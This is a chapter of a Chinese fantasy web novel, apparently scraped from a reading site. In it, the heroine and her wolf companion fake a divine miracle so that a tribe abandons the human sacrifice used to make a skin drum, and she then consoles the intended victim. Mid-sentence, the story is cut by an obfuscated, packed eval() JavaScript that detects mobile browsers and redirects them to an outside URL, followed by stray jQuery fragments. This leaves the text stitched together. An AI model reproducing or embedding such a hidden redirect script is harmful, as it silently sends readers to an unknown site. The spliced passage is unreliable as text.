40. 降雪

云笙看着阿墨咬着她从衣服上撕下并打磨方正的布条,敏捷地顺着她指的方向,迅速消失在浓重的云雾间,这才心下稍定,如来时一般悄然返回。


这一晚上,除了山外呼啸的寒风,不知道是什么缘故,雪山上似乎有狼的声响,一遍一遍地长鸣着,到后来,近乎发出了人的声响,仔细辨别,发音近乎【wutuobang】,却不得其意。


这样的动静让雍古族人从梦境中醒来,再也无法安眠,=披上衣物推开了房门,族长和祭司自然也无法安睡,他们辅助门框,看着声音的方向,眼中浮现些许不可置信。


越来越多的人醒过来,大家跟着族长的步伐,随着那嘹亮的狼啸声,前往山外一探究竟,云笙自然也在其中。


越是靠近,那阵阵狼嚎越是明晰,在他们逐渐接近时,迎着星光,一个人、或者说是有着人形态的生灵,从山顶之上显露出形态,如履平地一般,从顶峰处一步一步轻盈地踏落下来,像是神灵从天上飘落一般,轻飘飘落在一块石壁上,口中发出难辨其意的陌生语言。


在雍古族人们惊骇的神情中,隐于人群中的云笙这才上前,面露敬畏,“天神、天神降临于雍古族了。”她一边清晰地喃喃,一边仓促地匍匐跪拜,引得其他人纷纷效仿。


在昏沉的夜色中,【他】的面容模糊不可明见,只见【他】轻轻抖动手腕,于是一块如同白云一般的洁白飘落下来,落在云笙手身前。


如梦亦如幻的场景让众人更是压低了头颅,将其抵在泥土上,等他们再次抬头,哪还有神灵的踪迹。


似乎有风吹散低垂的云层,星辰明灭间,忽然有人惊呼起来,“快看,是、是神迹。”


只见随着积雪的掉落,刚才神灵所站立的山壁上,赫然出现一个圆形的符号,随着星辰的明灭,恍如有生命的呼吸。


这是一个众人看不懂的符号,她们胆怯地伸出手,触碰那宛如刀刻斧劈般的痕迹,心中惶恐不安,有人忍不住询问云笙,“神使,请问这上面写的是什么?神灵留下的印记是何意?”


云笙的指尖抚过那个她亲手刻下的图形,缓缓道,“这是来自神国的图形,圆形,象征开始,也象征着结束,更是【循环往复、周而复始】的记号。”


这八个字,云笙是用汉语说出来的,于是众人喃喃重复着这几个陌生的音节,在今夜之前,这陌生的言辞她们从未听闻,其音韵却蕴含着一种令她们心灵震撼的力量。


见众人喃喃重复,云笙并不打扰,只从地上捡拾起那片洁白。


见到云笙的动作,有人怯怯地问,“神使,神灵留下的是什么?”


“是神谕。”


云笙抖开这张布条,指着上面自己书写的三个汉字,声音清晰而沉稳,“神灵所留下的神谕,上面书写着三个来自神国的文字,其音为【乌托邦】。”


“乌托邦,那是什么?”这样一个词语,对于众人来讲同样陌生。


“那是一个理想的世界,是光明又美好的存在,是幸福的伊甸。”她环视众人,语气变得严肃,“神灵明示,人皮鼓并非神灵降下的本意,它并不能沟通天地,更不是通往神国的通道,那是原始而又残酷的存在,是破坏幸福伊甸的凶物。”


就在她说话间,天上竟纷纷扬扬飘起雪花来,因无风,雪花只是洋洋洒洒地悠然落下,宛如神灵布下的幻境。


祭司看着雪花,脸上浮现出犹豫,“神使,您看......今日又是降雪之日,按旧例,我们该尽快制作人皮鼓......”


“人皮鼓?”云笙的面色骤然冷了下来,眼神锐利如冰,仿佛在看一个亵渎神灵的罪人,“神灵已降下神谕,纵然降雪,也并非神灵催促人皮鼓的旨意,请立刻召集所有族人,全力建造庙宇,将人皮鼓之事抛诸脑后。”


祭司嘴唇动了动,似想说什么,终究还是咽了回去,而一旁的族长看着云笙冰冷的神情,再想到夜色中那飘然若仙的神灵真身,也顿时噤若寒蝉。


“如若再有违背,神灵必将降下神罚。”


风声低语,星辰低垂,仿佛夜色在亲吻大地,云笙振聋发聩的声音掷地有声地砸落,随着这声话语落地,天上忽然传来轰隆隆的似雷鸣的声音,似是神灵动怒。


这样一片犹如神怒的轰响中,云笙目光转向那刻着神迹的山壁,“就在此处吧,此地既然是神灵降临之所,在此建庙最为合适。”


四周只剩噤若寒蝉的寂静,于是族长和祭司再没有别的话,他们深深拜伏下去,“谨遵神谕,我们这就返回村落,召集族人,立刻赶工建造庙宇,让神灵在人间有栖身之所。”不敢再耽搁,急匆匆返身回村,拆解图纸,分派任务去了。


眼见族长和祭司带着族人浩浩荡荡地返回村落,一直等候在山凹处随机应变的阿墨再次化作狼形,悄无声息地从山侧滑下,轻盈地跃上云笙的脊背,毛茸茸的皮毛拱立在她颈边,语气里藏着连自己都不敢置信的匪夷所思,“笙笙,他们真的信了吗?”


“嗯,看起来是信了。”云笙抬手抚摸着阿墨柔软的皮毛,心里终于松了口气。


这个临时起意的计划漏洞百出,风险极大,不过是箭在弦上不得不发,包括最后那宛如神怒的雷鸣声响,幸亏阿墨和她配合默契,及时弄出了石头和雪崩落的动静,应和着她所说的’神罚’,其实只要仔细探查就能发现,幸运的是,这宛如神灵的威怒让众人惶恐畏惧,于是没有敢去探究。


雪花纷纷扬扬落在她头顶上、身上,连阿墨洁白的绒毛上都沾着些许晶莹,她仰头看向这宛如梦境的幻色,心中只剩庆幸,还好,她们成功伪造了神迹,还好,雍古族人相信了这个并不完美的神谕,那个幸运或者说本该倒霉的女孩,不必在茫然无知中奔赴死亡了,她将拥有属于自己完整的人生。


阿墨待在她的怀中,同样仰头看向这风中的晶莹,呢喃着,“就差一点,如果不是笙笙你坚持......”


说到这里,剩下的话却说不出口,他不敢想象如果不是云笙坚持,那么,今晚就将有个女孩为了愚昧的神鼓而走向佯作荣耀的死亡,可是......


阿墨的


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355829|181096||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


头埋在云笙的怀中,冰蓝色的眸子掩住思色,可是,如果再一次将云笙和他人摆上天平,他依旧会毫不犹豫地选择云笙,这是他初时不曾明了,而今却越发坚定的心情,他甚至前所未有地比云笙还要期待着回家了,因为他忽然醒觉,一直留在这里,面对这蛮荒的文明,只会让云笙不停陷入两难的抉择与生命的危境中。


不知道阿墨所想的云笙亲了亲他毛茸茸的额头,“你也是担心我,而且,今晚你可是立了大功,所以,别想还没发生的事好吗。”


她抱着阿墨,一边往村落走,一边思索,“虽然用修建神庙替代了了人皮鼓的制作,不过,只要存在特殊的祭司或族长一职,权力的集中和阶级的诞生便难以避免,就像制作人皮鼓,虽说是“自愿”并“向往”,但祭司却依旧因其身份得以豁免,虽不知对她而言是幸还是不幸,然而这本身就是最大的不公与剥削。”


听到云笙的话语,阿墨警觉地立起尾巴,却不敢显露声色,只试探般道,“笙笙,你不会是想替他们扫平所有障碍吧。”


“就算是我想,我也做不到啊。”云笙叹了口气,看向这被雪山包围的部落,她不得不承认自己的无能为力。


就在这时,她恍然见到塔措湖畔有个人影矗立。


是幻觉?


云笙挠挠阿墨的下巴,低声询问,“阿墨,你看,那湖边是有个人影?”


“是的,”阿墨视力极好,他一眼就认出了这个剪影般的身影,“是今早绕湖的人。”


云笙定睛望过去,果然是今天见过的面孔,她略一犹豫,脚步一顿,向那边走去。


湖面依旧静谧,恍若神灵不为人间之事忧愁,云笙走到湖边,伸出手,温热的指尖恰好接住一滴宛如宝石一般透明的眼泪。


像是没想到会被撞个正着,女孩慌乱地擦掉眼泪,低垂着眼站起身,声音怯怯地问好,“神使。”


眼泪从云笙指尖滑落,如同撒落的露水落入湖中了无踪迹,她抱着阿墨坐在格桑花铺就的花丛中,拍拍身边的空地,“别站着了,坐下吧。”


见女孩犹豫地坐下,云笙像逗弄孩子一般,从杂草的缝隙间摘下一朵小小的白色格桑花递给她,“现在可以说说你为什么哭吗。”


“我、”女孩看着眼前这朵不算美丽却蓬勃的花朵,声音逐渐带了泣音,“从我的诞生开始,我的生命就是为成为神鼓做准备,可是神使,您刚才说,神鼓是神灵摈弃的旧物,那我的生命已经失去了存在的意义......”


在她近乎悲哀地说出这番话的时候,云笙猛然伸出手,温热的掌心握住她的双手合拢,拢住那一株洁白的花朵,“怎么会没有意义,就像这漫山的格桑花,它们的存在就是最大的意义。”


云笙低下头,透过女孩纤长的睫毛和朦胧的泪眼,看向那双漆黑又迷茫的双眼,此时的她仿佛真真如同一位神使看到一个迷途的魂灵。


她语气轻缓,声音低沉,“每个人的存在都是独特的意义,就像无论是什么颜色的花朵,都会经历一场花开花落的春天。”